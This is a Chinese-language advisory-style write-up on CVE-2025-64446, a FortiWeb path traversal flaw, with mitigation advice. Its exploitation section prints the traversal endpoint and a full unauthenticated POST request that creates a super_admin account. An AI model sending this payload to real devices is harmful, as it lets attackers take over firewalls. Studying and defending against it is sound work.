---

📌 概述

CVE-2025-64446 是 FortiWeb Web 应用防火墙管理界面中的一个严重相对路径遍历漏洞。

未经认证的远程攻击者可以利用此漏洞绕过认证并创建具有完全权限的新管理员用户，从而导致设备完全失陷。

• CVSS v3.1 评分：9.8（严重）
• 攻击类型：远程未认证
• 影响：完全管理权限接管
• 状态：已在野外被积极利用

---

🛠️ 受影响版本

建议：尽快更新至最新的修复版本。

---

🔥 攻击者如何利用此漏洞

逐步利用过程

1. 目标识别
   攻击者扫描公开暴露的 FortiWeb 管理界面（通常使用 HTTPS 端口 443 或 8443）。

2. 构造恶意请求
   利用的核心是相对路径遍历（../）结合精心构造的 URL，访问内部未认证的 CGI 端点。

   易受攻击的端点模式：

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. 发送利用载荷

   攻击者发送单个 POST 请求，携带 JSON 载荷，创建新的管理员账户。

   示例利用请求：

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiw eb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. 成功利用

   如果成功，FortiWeb 将创建新管理员账户，无需任何预先认证。攻击者随后可使用新创建的凭据登录并获得 WAF 的完全控制权。

漏洞原理

管理 API 未能正确清洗路径，导致请求能够回溯至旧版 fwbcgi 二进制文件，该文件在某些操作上未强制实施认证。

---

📸 截图

---

🛡️ 缓解措施与最佳实践

• 立即将 FortiWeb 升级至修复版本
• 切勿将管理界面直接暴露于互联网
• 使用强网络隔离和 VPN 进行管理访问
• 监控日志中是否包含 fwbcgi、../ 或异常的管理员创建尝试
• 定期审计管理员账户，及时发现可疑条目

---